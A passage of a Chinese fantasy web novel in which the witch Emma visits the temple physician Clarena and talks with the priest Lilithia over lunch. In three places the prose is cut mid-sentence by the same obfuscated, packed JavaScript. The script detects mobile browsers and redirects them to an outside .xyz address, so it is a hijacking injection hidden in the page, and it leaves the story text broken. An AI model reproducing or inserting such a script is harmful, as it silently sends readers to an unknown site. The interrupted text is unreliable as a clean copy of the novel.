关闭的房门上挂着名牌,写着房间主人的职位和名字:“医疗外科一级祭司克蕾娜”。 利利提亚敲完门,没有等回应,直接拉下了门把。 于是房间里那声“请进”被门板吞掉了半个字,便毫无阻隔地从门缝里飘进了走道。 艾玛闻到干燥的草药香气,医生身边总会有的气味。但除此之外,还有些更新鲜的、生机勃勃的味道,像是雨后的树林,滚着露珠的草地,植物和泥土的气息。 克蕾娜的办公室里摆着很多绿植,葱茏热烈地长满了墙边的书架,或是见缝插针地蜷在置物架角落里,在瓶瓶罐罐的药剂、盒子、书本、杂物间执着地伸出长长的枝叶,从架子边缘拖垂下来,摇晃着流动的风声。 办公桌边的窗户没关,温暖的阳光穿过藤蔓树影,在金色的房间中浮动开一片朦胧的浅绿。 坐在桌边的女人搁下笔,抬头时挽了下耳边的碎发,转过一双薄绿色的眼睛。 浸着绿的蓝,染着蓝的绿。艾玛想起她曾在雨中见过的一种不知名的花。 克蕾娜的眼尾上扬,长相与温柔一词全然无缘,透着慑人的锐利。她身上披着件白色的长外套,袖子松松垮垮地卷着一半,看得出在打扮上没花什么心思,整洁而随意。 她有一头银色的长发,和利利提亚的发色相近,不同于利利提亚的柔顺,发丝更细软毛躁,看着就容易打结,却扎了个艾玛一时难以理解的发型:不知怎么在脑后卷了两下,插着三根发簪固定住了,发尾没有定向地散开,像绽开的野草。 利利提亚笑着向她打招呼:“早上好,克蕾娜。” 艾玛于是见到那位被利利提亚评价为“温柔”“体贴”的好医生,用一种可称冰冷的眼神凝视着他,指向门外的走廊。 她的声音微微沙哑,压着恼怒的烦躁。 “给你十秒钟,”克蕾娜冷冷地说,“滚出去。” 63.克蕾娜 温柔、体贴。 艾玛沉吟了一会儿。 她认为以第一印象来判断人有太多不当之处,比如眼前的场景很可能出于什么误会。利利提亚的评价自当有他的道理。 利利提亚似乎并不觉得奇怪,也不觉得为难:“你看起来心情很不好,工作不顺利吗?” 克蕾娜注意到他身后还有两个人,眼神更加冰冷了:“你要是敢说你带来的是伤员,你今天就死定了。” 利利提亚摊开双手以示无辜:“哎——今天是在女巫殿下面前,可以给我点面子吗?” 克蕾娜一顿,皱起眉,缓了两秒理解到利利提亚话里的意思,才把目光定到艾玛身上,恼怒的声音掺进一种从茫然里刚刚转过弯来的尴尬:“‘女巫’……啊,抱歉。那个,您好,女巫殿下。” 她起身,僵硬地行了一礼:“我昨天刚刚听说您的事,没想到今天就会见到——我是克蕾娜,神殿的医疗祭司。刚才,实在是失礼了。” “没关系,请随意点就好。”艾玛做出了无事发生的态度。 克蕾娜说完这半句开头,就卡了壳,显然不知如何继续,透露着不明白自己为什么突然处于这种情境的紧张和困惑。 几个人在原地沉默地杵了一会儿,克蕾娜终于生硬地找回客套的流程:“几位……先坐,我去给你们倒点茶。” 她刚要转身,就被利利提亚按住肩膀,按到了办公室一角会客桌的椅子边上。 利利提亚笑得很温柔:“没事,我去倒。女巫殿下,您也这边坐,你们先聊。” 克蕾娜抓住了他的手腕,咬牙切齿:“利利提亚大人,这是我的办公室,而且,您是神谕祭司,让您倒茶不合适。” “不用在意这点小事,我知道你的茶具放在哪里,举手之劳。”利利提亚微笑着抹掉她的手,向艾玛比了个请的动作。 克蕾娜看他的眼神好像真的要杀人。 两人在会客桌边对坐着的沉默里,只听见利利提亚开柜子翻找茶叶和瓷杯碰撞的声音。 艾玛打量着克蕾娜的发簪。 说是发簪,更准确的形容,那是三根朴素的棍状体。 在门口时距离太远,她看不清,只是觉得有点奇怪。现在离得更近了,她能清楚地看到那不是纯粹的装饰。 而克蕾娜不知道对方为什么盯着自己,更加如坐针毡。 “恕我冒昧,克蕾娜小姐。”艾玛终于开口,“我只是有点好奇——你头上的发簪,是笔吗?” 克蕾娜松了口气:“哦,对,有一支是。” 她从头上拆下两支发簪,递到艾玛面前:“这支是笔,这把是折叠刀,可以用来剪或者切东西。外面这层是保护壳,为了安全和卫生的考虑。” 克蕾娜拆下最后一根发簪,头发散落下来,她随手将它们拨到脑后,拧开手上发簪的保护壳:“这根是柱状尺,清洗干净也能当搅拌棒用。” 艾玛打开折叠刀,变化了几次形状,赞叹道:“很实用,而且很巧妙。” “您过奖了,只是为了方便才这样戴着,可以随时取用……固定头发倒是一根就够了。” 克蕾娜装好尺子,熟练地卷起散开的长发,将发簪一根一根插了回去。 重新束好的发卷和散开发尾的走向都与之前有着微妙的不同,艾玛又盯着看了一会儿。 这段对话让克蕾娜的拘束淡了些,她犹豫地思考一阵,认真地看了一遍艾玛的面色,才严肃而谨慎地询问:“女巫殿下,您是有哪里身体不适吗?” 艾玛一愣:“没有,我很好。谢谢你的关心。” “啊,抱、抱歉,我以为您是身体欠恙才来医疗部这儿——”克蕾娜更尴尬了,“那您来这里是,有什么事吗?” 利利提亚这时倒好了茶,给她们端了两杯过来,叮嘱了一句“小心烫”。 艾玛接过茶杯道了谢:“因为刚来到神殿,对这里很不熟悉,神谕祭司阁下好意带我们在主殿转转。正好路过这边,他就说来这里看看。” 克蕾娜接过利利提亚递来的茶,捏住茶杯的手极其用力,看得出用尽了教养才克制住骂人的冲动,一个字一个字地从牙缝里挤出感谢:“谢谢您。” 利利提亚微笑:“不客气。” 办公室的位置僻静,临近正午的房间里温度正好,艾玛在这氛围里莫名觉得安心。 她环顾了一圈房间,那些生动的绿植和乱而有序的摆设,顺口对克蕾娜问起来:“这里花草很多,看起来打理得很好,是克蕾娜小姐你的兴趣吗?” “一部分是吧。”克蕾娜摸了摸眼角,“我父亲也是医生,母亲喜欢种植和制药,我从小受他们不少影响,就有了这习惯。大概谈不上多喜欢,不过看到房间里摆着这些植物,会觉得心情平静。 “另外,很多植物可以入药,有些需要新鲜采摘,放一些常用的药用植物在这里,也为了使用便利。楼下有专门栽培药植的温室,我也会看情况拿几盆上来,或者放几盆回去……啊,喂!那边的!那个……” 因为不知道怎么称呼对方,又意识到不该在女巫面前太失礼,克蕾娜一时心急组织不出语言,几步跑过去慌忙抓住了西里斯手臂:“这个不能乱碰!” 西里斯在她阻止前已经拈起了实验台上黑色的药渣,在指尖上碾了碾:“——薄荷、桔梗、忍冬、柴叶……是解火毒的药方?” 克蕾娜顿了顿,惊讶而怀疑道:“对……你也是医生?” “只是会一点制药。”西里斯说,“这药做毁了,火候的问题?” 克蕾娜摇摇头,神色里浮上一点艾玛他们进门时她脸上带着的烦躁:“是柴叶的湿度,不同湿度的差异很小,光凭手感和视觉分不出来。 “这份保存的时候出问题了,我做到一半才发现。柴叶保存本来也困难,做祛火药总要报废两三次。现在有病人急用,想着头疼。” “介意我看看病例吗?” 西里斯在实验台的毛巾上擦了擦手。克蕾娜也不在乎,到桌面拿过病历,在摊开的那一页拿笔点了点,对西里斯补充描述:“这人不止是火毒,还有复发性疮肿,体质偏寒,加上这些症状……我都不敢用太重的药。” 西里斯接过病历,前后翻了翻,问:“用苦心草替柴叶,再加黄酮怎么样?” “苦心草?”克蕾娜一愣,反应过来,“哦,苦核草吗?” “对,苦核草。”西里斯改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232126|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。 克蕾娜思忖了一番:“确实……应该可以。就是苦核草也不好入药,比柴叶还难控制。” 西里斯移了移视线:“我看见你房间里那盆苦核草,第三层书架上的,能用吗?” “呃,倒是可以,本来也是制药用的。但是苦核草不得晒干磨碎才能入药吗?这祛火药急着用,没那个时间……” “用不了很久,三个小时。” 西里斯扫过桌面和临桌的架子,用具和药剂的摆放很有规律,每一个瓶罐上都贴着注明内容物的标签,使用过的器材都已及时归位,足见其主人严谨认真的工作态度。 环境的整洁有序让西里斯接触起来省了不少麻烦。 他从架子上抽出实验用的手套,对克蕾娜道:“借一下你的实验台?” 他看着确实懂行。 克蕾娜抬手做了个简单的“请”:“你随意。” 西里斯戴好实验手套,用专用的剪子摘取了几枝书架上的草叶。克蕾娜不知道他有什么方法,颇好奇地旁观,看他又擦净了实验皿,往里头倒了半皿酒精,把草叶直接扔进去,最后拿起打火石。 火星子落进酒精里,唰地一下烧起来,浸润过苦核草的枝叶,火焰卷过碧绿挺拔的叶尖,很快将它们灼烧成卷曲的黑色,往器皿里沉下去。 “这……能行吗?”克蕾娜疑惑道。 西里斯把酒精瓶放回原位,转了半圈,让标签重新向外:“百分之九十五的酒精,烧完不会留下液体,成分互相影响的缘故,正好能烧掉苦核草里的杂质。烧完之后进一步磨碎,加上方子里其他几味药,用黄酮调和,只要方法不错,基本不会失败。” 克蕾娜惊奇地望着燃烧着的枝叶:“要是真的能行,确实能省很多麻烦。” “等它烧完再做后续处理,还需要不少时间。您等在这里也是无趣。” 艾玛一愣,看见西里斯转过视线,落在她身上的目光和他的口吻一样平静:“不如我留在这里,把这份药做完。正好我有点累了,如果克蕾娜小姐不介意,我就在这里休息一会儿。您可以继续游览。毕竟,我没有非得了解神殿布局的必要。” 艾玛看了他一会儿,点头:“你希望的话。” “感谢您的谅解。” 西里斯的视线先于她滑开了,没有痕迹地落到他处,又像个垂眼的颔首礼。 一旁的利利提亚早给自己倒了杯茶,倚在克蕾娜的办公桌边饶有兴致地旁观着事况的发展,到这时才放下杯子:“那我就先带女巫殿下去其他地方走走。克蕾娜也很熟悉神殿的布局,如果你需要问路,她会给你指明方向。” 对西里斯说完,利利提亚又向克蕾娜招呼了一声:“改天见,克蕾娜。” 克蕾娜一沉浸于工作,差点忘记了女巫的存在,直到西里斯向艾玛说话时才想起境况,心下立刻感到尴尬和惭愧。 但头疼的药物问题马上能得到解决,她的心情反映在神色里,显然好了不少,连利利提亚向她告别时的笑脸也只是让她皱了皱眉,简单回了一礼,没再显出先前那样露骨的厌弃。 走在空旷的长廊上,艾玛才问道:“所以,你事先没和拜访对象打过招呼吗?” 64.午餐 找天象祭司扑了个空,克蕾娜的失态和惊讶也都发乎自然,利利提亚的引导看起来太像一时兴起。 目前为止,艾玛对他的印象大致是个圆滑周到的聪明人,这种毫无计划性的作风跟她的预期差异很大。 利利提亚听了笑起来:“这样就能撞见很多意料之外的事情吧?生活还是需要多一点惊喜。” “克蕾娜小姐看起来确实‘惊喜’。” 利利提亚对这话里的反语不以为意:“克蕾娜就是那样的人,心直口快、表里如一。我很喜欢她这种地方。她以前说话更直接,现在已经委婉不少了,真可惜。” 艾玛说:“你们看起来确实关系很好。” 利利提亚眼神一亮,似乎很高兴:“您这么觉得吗?” “如果不是关系好,也开不起那种玩笑,更不会是那样的反应。她看起来是因为被你打扰了工作觉得烦,不是真的讨厌你,” 艾玛一顿,想了想,“大概吧。” “不愧是女巫殿下,直觉和眼光果然超乎常人。”利利提亚对艾玛的判断赞叹有加,“——差不多是午餐点了,再往右边转两次弯,直行就是食堂。上午走了这么多路,您一定也累了,用完午餐,正好在那边休息一阵子。” 艾玛没有异议。 她体能不差,在费拉约尔斯的时候一直坚持训练,长年的沙漠旅行也从没有让她荒废体能,在室内环境下一个上午的走走停停实在不算什么。 她都不觉得疲劳,更不要说西里斯。 西里斯那句“因为有点累了想休息”,显然是个说给外人听的借口,他们都对此心照不宣。 艾玛想起西里斯移开的目光,平淡的语气,不动声色的距离。他们之间的心照不宣太多了。默契也是一种停滞,而当它成为一段关系稳定的基础,更让人感到无从着手的无力。 利利提亚这时说:“您的同伴那边,克蕾娜也肯定会安排好午餐的。” “嗯。”艾玛心不在焉地应了一声。 克蕾娜打开饼干盒,咬着曲奇把盒子敲到西里斯面前:“食堂卖的饼干,吃吗?” “不了,谢谢。”西里斯婉拒。 克蕾娜咽下饼干,继续喝之前那杯没喝完的茶,看了看墙上的钟表:“午餐点了,我准备了三明治,不过是一人份的。要不我们去食堂看看?反正这药晾完也要好久,不用干等着。” 此刻没有人能揭穿他,西里斯说谎说得面不改色:“我已经吃过了,现在不饿。” “哦,那行。”克蕾娜没多想,毫无怀疑,也没拿走放在他面前的饼干盒,“那我就在这儿吃了。你要是想吃点喝点什么可以自己拿,或者跟我说。” 西里斯把饼干盒盖上,走到克蕾娜书架前,简单浏览过一排排书脊,询问克蕾娜能否借阅,得到了肯定的答复。 他拿着书走到会客桌边坐下,克蕾娜则打开了自带的饭盒,看了一眼他手里的书目,仍然念念不忘西里斯刚才的手法:“你用酒精烧掉苦核草杂质的方法,是从哪里听来的?” “我以为酒精灼烧法很常见。”西里斯说。 “用酒精加热、辅助之类的方法还挺多,直接把药材扔进酒精里烧来完成效果的,我还是第一次见。你说‘常见’,那大概是那种地区性的偏方,诀窍什么的?” “差不多。” “还有‘苦心草’那个叫法,是很老的叫法,这名字早改了。唔,你的医术是哪里学的?” “机缘巧合得了前辈指点,加上自己有兴趣,看书钻研罢了。我只擅长制药,不太会替人看病,算不上真正的医生。” 西里斯轻描淡写地带过道,“我自学的时候翻了很多古籍,古书上的记载没来得及更新换代,有很多旧时候的老方法。也真让人感慨,书上说酒精灼烧法曾经很普遍,没想到现在已经没什么人知道了。” “是啊,战争,国家覆灭,文明消亡,多少有价值的东西跟着一起埋了,想起来总是很可惜。”克蕾娜摇摇头,“你刚刚提到的古籍,有带过来吗?” “之前一直在各地辗转,那书不知道丢在什么地方了。” 克蕾娜哦了一声,有点可惜,也不觉得奇怪。 她嚼了两口三明治,似乎不经意地问道:“我听说女巫殿下来到神殿的时候有人同行,说是她的‘家人’,指的应该是你吧?” “嗯。”西里斯淡淡应了一声。 “刚才看到你们说话的时候,感觉,有点……”克蕾娜犹豫了一下,“呃,你们是恋人吗?” 西里斯看出她实在不擅长拐弯抹角地问话,他倒不讨厌这种人:“不是。” “抱歉……那,那个……义兄妹吗?” 他们的关系三言两语难以概括,西里斯也不打算说全部的真话,用模糊的回答截断了话题:“不太一样。但如果需要,你可以这么认为。” 克蕾娜意识到他不想明确回答,于是不再问了。 安静里话语权掉了个头,落到西里斯手上:“克蕾娜小姐,你应该有兄弟姐妹吧?” “我上面有个哥哥。”克蕾娜听他口吻确定,有点诧异,“你怎么猜出来的?” “银色的头发不常见,我刚才偶然看到你耳背后有蛇鳞。你出身于罗穆卢斯。” 西里斯的目光落到她脸上,陈述的语气,“如果不是有兄弟姐妹,你很难离开那样的家族。” 克蕾娜沉默了片刻:“这也是书上看来的?” “我认识一个朋友,正好对那边有点了解。” 她轻轻啧了声,皱着眉:“反正,就那么回事吧。” “那位神谕祭司说你们关系很好。”西里斯说,“如果我没猜错,你们的姓氏是‘奥古斯塔’。” “啊!不要把这两件事连在一起说!不对,等我捋捋。”克蕾娜仿佛被骤然袭击,崩溃地用手背揉了揉额头,“首先,我跟利利提亚那小子没什么关系。虽然我觉得你应该已经排除他是我哥这种可能了但我姑且再强调一下我哥在罗穆卢斯勤勤恳恳地工作不该被突然扣上这种帽子。” 克蕾娜一口气说完,揉着额头的手跟着语速一起缓下来:“我‘曾经’……确实姓‘奥古斯塔’。利利提亚不是。他……总之,进入神殿需要抛弃姓氏,过去姓什么都不重要了。” 克蕾娜低下视线,对着自己还剩半个的三明治又咬了一口:“真不是个下饭的话题。” “抱歉。”西里斯说,“那要聊聊那本古籍上的其他旧方吗?” 克蕾娜立刻精神一振,三两下就把剩下的食物塞进了嘴里,迅速咀嚼,比了个兴致高昂的拇指。 西里斯给她倒了杯茶防她噎到。 神殿的食堂是自助式选用菜品后在柜台结算。大多职员靠工牌姓名在这儿记账,也有的用货币或餐券现结。 哈瓦娜向艾玛展示过,阿瓦托芬的通行货币也是常见的十二进制,金银铜材质。 正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232127|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面雕刻面值,背面是月相变化的图案。餐券上则仅有简单的文字和部门负责人的签章。 利利提亚由于其显眼程度,已经能在这里刷脸记账。 艾玛回想了柜台里的收银员看到他们时激动紧张的反应,其中一位工作人员还急忙跑出柜台给他们找了个安静的座位,根本没有人拿起笔,实在不确定他们这顿饭有没有记上账。 这个疑问在她脑海里只停留了一小会儿,艾玛很快把它跟餐盘一起放下了。 艾玛拿了面包、火腿、蔬菜、肉排,作为点心的蛋糕和樱桃汁。每种只拿了一点。 艾玛没有故意客气,她的胃口向来不大,但出于对不同食物口味的好奇而多选了些种类。 利利提亚看起来也并不矜持,他盛的食物分量起码是艾玛的五倍。 餐盘往桌面一摆,荤素搭配,红绿相称,看得出两人都有不错的营养均衡意识。 艾玛看了看那堆食物,又看了看利利提亚,不容易将那张精致漂亮的脸和这份好胃口联系在一起。 工作人员给他们选的座位离人群集中用餐的区域很远,职员们进餐时闲话的声音轻快地流到他们桌边,成为桌面上这份安静的和谐背景。 艾玛专心地咀嚼面包,利利提亚利落地用刀叉切开盘里的肉排,刀刃碰到瓷盘时发出的声音极轻。 艾玛半路出家所经受的礼仪教育并没有要求她非得“食不言寝不语”,她的礼仪老师戴安娜上完课时常留在城堡和艾玛一起用餐,一边在行动上做着漂亮的礼仪示范,一边嘴上不停,从贵族的八卦讲到城里的流行,末了还要一边吃一边补充一句:吃饭时最好不要说话,至少不要说太多。 艾玛本也不爱多说话,很乐意在这些场合里继续担当一个优秀的倾听者,适时地将话题抛给别人偷懒。 但两个人的餐桌上,话题开了头,就会变成你来我往的抛接球。 利利提亚似乎吃得认真,而艾玛也不为这安静尴尬,于是没人起那个头。 由于餐点的分量少,艾玛最终还是比利利提亚吃完得早一些。她把甜点换到自己面前的位置,注意力落到了利利提亚持握餐具的姿势里。 他从肩膀到指尖都透露着休息时间的松弛,坐姿端正但不刻意,刀具分割食物使力的点很精准,因此使切开的动作看起来异常轻松,赏心悦目。 虽然会有人说,有着像利利提亚这样一张脸的人做什么都赏心悦目。 艾玛不是太在意别人的外貌,但并不缺乏对美的感知,趁这闲暇无事的机会光明正大地欣赏了一会儿。 利利提亚手上的戒指较昨天似乎换了几个,发饰做了点微调,耳饰仍然是昨天那副。打扮不花哨,但能看出他还是个会在乎仪表的人。 她这么看了一会儿,利利提亚也吃完了食物,用餐巾擦干了嘴:“不好意思,让您久等了。” 相较于他进食的分量来说,这用餐速度已经算很快。 艾玛看了看他只剩汤汁全不浪费的干净餐盘,最终没对他的食量发表评价,选择了最省事的回答:“没关系。” “这里的菜还合您的胃口吗?” “嗯,不错。” 经过一段标准的客套,两人间一时又陷入了安静,只有背景音里的人声仍然热闹。 艾玛习惯于别人主动延续话题,尤其当谈话对象本就能说会道。 她懒得细想利利提亚的沉默,只是开口道:“你是贵族吗?” 65.拓展 利利提亚有一瞬的停顿,艾玛继续道:“只有经受过长年礼仪教育的人才能有这样的用餐仪态。” 利利提亚说:“您的礼仪也相当出色。” “我的礼仪老师非常优秀,但我不是个骄傲到能与你相较的学生。” 利利提亚笑了笑:“这也不是什么值得夸耀的烙印。” 他垂过目光,拿起桌面的玻璃杯,杯里的柠檬水随他翻动手腕而倾斜,柠檬片漂浮在水面上。 他们的座位离窗边有一段距离,窗户巨大,错觉里近得仿佛咫尺,只有稀薄的日光遥远诚实地落下来,穿透玻璃杯和杯中液体的切面,在桌布上晃开粼粼水波。 “我的母亲姓‘奥古斯塔’,罗穆卢斯最历史悠久的姓氏之一。我小时候家教很严,什么事都得做得规范又准确。那可真是累人啊。” 利利提亚谈论这些的时候口吻轻飘,掺着一点叹息,那叹息的尾音恰到好处地收住了,留下一段无人应答的空白。 他继续说,“我不喜欢那里,所以离开了,只是这样。” “实际过程想必不那么容易。” 利利提亚放正杯子,将目光落到艾玛脸上,做出好奇和准备倾听的姿态:“您似乎不喜欢谈论有关自己的事呢?” 艾玛说:“只是觉得没什么好讲。” 利利提亚点头,显得很理解:“有时候我也觉得重复自己的经历累人又无趣……” “我从前没有作为女巫生活过。我知道自己是女巫,但‘女巫’到底是什么,由什么决定,这之类的事,我全都不了解。我为了更加理解自己而来到这里,所以没什么好说。” 艾玛声音平静,“毕竟,你对我的兴趣,也只到‘女巫’这个身份为止。” 他们对视了一会儿。 利利提亚笑了,身子微微倾斜,单手支着脸:“您说话真直接啊!” “我有点累了,想用更省事的方法交流。目前看来,你不会介意这种说话方式。” “不介意,不如说,我很高兴。我喜欢直率的人。您既然受过礼仪教育,那么也一定知道,那些繁复的语法和毫无意义的修辞有多麻烦——我可真是深受其苦了。” 利利提亚深深叹了口气,看起来发自内心困扰,“事实上,我非常不擅长揣测别人的心意。既要解读那些弯弯绕绕的话里的意思,还要根据对象的情况回馈合适的台词。在社交场上待三分钟比我在训练场待三个小时都累。” “你看起来很擅长社交。”艾玛说。 “能得到您的肯定,看来我的努力还算有些成果。再不擅长的事,下过苦功锻炼,总要比最初好看。但只有自己最清楚,我仍然只是在有样学样。” 利利提亚向桌前倾了倾身,“不过——您看起来对我也没什么兴趣。” “还好。”艾玛说,“只是觉得我们不熟,好奇心过度反而冒昧。” 利利提亚似乎没忍住地笑了一声,弯起眼睛:“我开始觉得,我们会相处得很愉快了。” 艾玛挖开剩下半块蛋糕,随着勺子的抬起抬高目光:“你今天没有带刀。” “城关那边比城内混乱,所以昨天带把刀做了下样子。我姑且算是个魔法师,对兵器不那么讲究。” 她用勺子虚虚在空中点了点,目光划过他身上的配饰:“那这些魔法石——也是你的‘兵器’?” “说来惭愧。”利利提亚转动手上的戒指,“或许是天性的缘故,我一直偏科得厉害。学习上也好,魔法上也是,只在自己有才能的方面专长,其他方向完全一窍不通。我也尝试过努力,但还是成果惨淡,只能借助魔法石帮点小忙。 “比如,这枚戒指上的魔法石可以恢复短时间内损坏的物品,像是碎掉的杯子,裂开的衣服。这枚可以分析物质的成分,这枚可以把食物变甜十倍。” “变成游戏性质的作用了。”艾玛说。 “各种性质的魔法石会在意想不到的场合发挥作用——虽然,带它们主要是因为有趣。” 利利提亚摘下那枚能让食物变甜的戒指,“您要试试吗?” 艾玛拿起戒指,用石块的切面在蛋糕盘上敲了一下。 她舀了一小口蛋糕,一皱眉,把戒指还给了利利提亚:“很甜。” 利利提亚微笑着戴回了戒指。 “每个魔法师都有自己擅长的方向,也都有做不到的事,这很正常。”艾玛拿剩下那一点甜过头的蛋糕没办法了,对着蛋糕盘沉吟, “魔法根植于‘愿望’,魔法师的愿望会决定它的生长方向。除了愿望的‘主干’,还有作为愿望‘枝叶’所衍生出的‘小愿望’,这些小愿望里会诞生更多魔法。你欠缺这些‘枝叶’。” 利利提亚点着头:“也就是说,因为种出的是棵光秃秃的树,只好多挂点装饰美化。” “‘因为过度专注于某一个方向,而导致缺少发散性的法术才能’。”艾玛说,“你的集中力一定很惊人。能集中到这个程度的‘愿望’,必然会衍生出强大的魔法。” 艾玛说完,端起樱桃汁,果汁里酸味盖过甜味,可以尝出原料的果实还未完全成熟。 或许应该用刚才的戒指把它变甜一点。 艾玛又抿了一口,想,但十倍可能又太甜了。 利利提亚等待了几秒,没有等到艾玛的追问:“说到这里,我还以为您会问我的‘愿望’是什么呢。” “这是你的隐私。”艾玛说。 “您真体贴。”利利提亚笑道,“至于我擅长的法术,在这里不方便展示——等下次有合适的机会吧。您会看到的。” 艾玛放下剩余半杯樱桃汁,看了一眼窗外的天色,从日头偏移估计了时间:“弗里蒙斯先生介绍位置的时候提过,天象司往西和巡防营相邻。你们的管理模式很特别,和传说中那个‘不战誓约’有关?” “是的,巡防营有两种组成模式。日常的和平时期,就是现在维持城市治安、执行‘行政’职能的‘巡防营’;而在特殊的‘战争时期’,巡防营会调整结构,变为应战状态,这时候的巡防营也被称作‘神殿军’。” 利利提亚点头,“管理模式的临时变更确有隐患,但魔法存在的战场上更强调单兵作战能力,巡防营平时也会进行团队作战的演习配合,总体能和这种风险相抵。” “宁愿冒着更大的风险,也要坚持这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233098|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的模式。你们很重视‘不战誓约’。” “‘不战誓约’是神殿保持中立的根本。每一位留在神殿的女巫都会举行‘誓约礼’,除了代表神殿承诺延续‘不战誓约’之外,意义等同于一国之王的加冕。” “我在神殿的历史典籍里看过誓约礼的描述,场面非常盛大。如果您有意留在阿瓦托芬,或许不久之后我就能有幸亲眼见证——当然,是否留下是您的选择。不是所有来到神殿的女巫都会留在这里。” 利利提亚说,“‘不战誓约’虽然能保证神殿和其他国家之间的和平外交,但也仅限于——‘女巫在位的时期’。” 艾玛说:“听起来意外的不牢靠。” “毕竟,人类是非常健忘又短寿的种族。几十几百年的时间太长,足够短视贪婪者遗忘历史。”利利提亚随意道。 “我听哈瓦娜提过,巡防营的最高负责人被称为‘军权祭司’。而你在‘神谕祭司’的职位之外,同时保有‘军权祭司’的头衔。” 艾玛说,“这两个职位似乎本身是从属关系,而不该是重叠的。” “有一些特殊情况。军权祭司的日常事务有其他祭司代理,我平时不参与。这只是个挂名,为了应对外交而采取的方案——也或许,已经不需要了。” 似乎想到什么,利利提亚暧昧不明地笑了笑:“议会五年选举一届,主祭司和监察骑士也是五年一届,两者的周期相差一年。这一届议会选举在两年前,我是去年才成为‘神谕祭司’的……真是巧合。 “‘神殿的女巫’有权在任何时候解散和重选议会,主祭司和监察骑士也不例外。您如果选出了其他‘神谕祭司’,我也很乐意把‘军权祭司’这个挂名做成实职。当然,也得议会同意。” “顺便一说,您昨天见过的议会首席,德丽克丝女士,曾经就任过‘军权祭司’的职位,并且连任了三届。那确实是位了不起的女士。” 艾玛在费拉约尔斯和城防军打过很多交道,沙漠旅行时也见过些军人,出身军队的人所具有的行动特质与雇佣兵有明显的不同。艾玛在德丽克丝身上看到过这种特质。 但同样出身巡防营,哈瓦娜带给艾玛的感觉却截然不同。 艾玛点到即止地想了想,并不深入关心这个话题。 “我好像讲得太多了。阿瓦托芬很大,如果想要真正了解这个地方,只能一点一点,由您亲自见识过每一个细节。只要您愿意,想花上多久都可以。” 利利提亚放下润喉的柠檬水,确认艾玛已经完全没有再碰桌面上剩余食物的打算。 “休息得差不多,应该继续我们的行程了。您有什么想去的地方吗?” 几乎没有犹豫,艾玛问:“神殿有没有统一存放管理书籍的地方?” “当然,主殿有一间非常大的藏书室,内间保管着很多珍贵的文书资料。藏书室和文礼司相邻,离这里很远,过去要花不少时间。您确定要去那里?” 艾玛说:“如果我可以阅读那些资料的话。” “这里没有不能为女巫打开的门,自然,也没有您不能翻开的书本。” 利利提亚站起身:“那么,请吧。” 66.藏书室 藏书室在神殿中心南面,和艾玛他们午餐时所处的位置几乎成对角,走过去需要花上许多时间。神殿内部很少有传送门,除了制造困难,更出于安全和管理的考虑。 艾玛和利利提亚都不着急,路上有话没话地聊了一会儿,利利提亚又向她介绍了些经过的地方。 艾玛记忆新事物的能力出色,理解不同的管理体系也很快。虽然各地的管理运作模式因文化人情而有所区别,但只要把握到那些共通的内在逻辑,对艾玛来说就不难掌握。 她的记忆效率之高令利利提亚也惊叹。 无论是哈瓦娜昨天七零八落的描述,还是利利提亚今天的介绍,艾玛都能自行找到要点并记忆,甚至根据叙述内容提出反问。 哈瓦娜在阿瓦托芬长大,从小从城头到城尾跑了个遍,对此地的了解细致而地道。艾玛能看出,她真心喜爱着自己的故乡。 但哈瓦娜的文科本领和对外界的了解薄弱,介绍时的叙述逻辑时常颠倒。 利利提亚则完全相反,他同样是这里的外来者,只是停留时间更长些。 利利提亚介绍时条理清晰,叙述明白,还会拿一些国外的情境对比,知道介绍要点的轻重缓急,像那种能在文学课的习作练习里拿高分的优秀范例。 两者对比过于强烈。艾玛个人其实更喜欢哈瓦娜那样感情充沛的介绍方式,但利利提亚的专业自然无可指摘。 神殿里大大小小有数间藏书室,有的仅限一定职级以上的神殿职员才可以进入,也有还在学堂读书的孩子和城中居民都可以访问的公用图书室。 主殿的藏书室是神殿中最大的一间,位于文礼司附近,由文礼司的职员管理。 藏书室内一共分三层,由两道门隔开: 第一层,满足一定条件,通过申请的神殿职员都可以访问; 第二层,只有祭司以上的人员可以访问; 第三层,最重要的内间,只有主祭司和议会成员可以进入。 这是今天艾玛第一次看见仅凭利利提亚刷脸不能进入的场所。藏书室门口的职员认出了他,但仍然要求利利提亚在签名册上登记,又在他签名后补上了当前的时间。 艾玛与利利提亚同行,便没有单独多登记一次,利利提亚在备注栏补充了说明。 藏书室的门没有锁,登记完就可以进入。 艾玛刚进门,就感到这里的温度比外头低,空气湿度也不同。 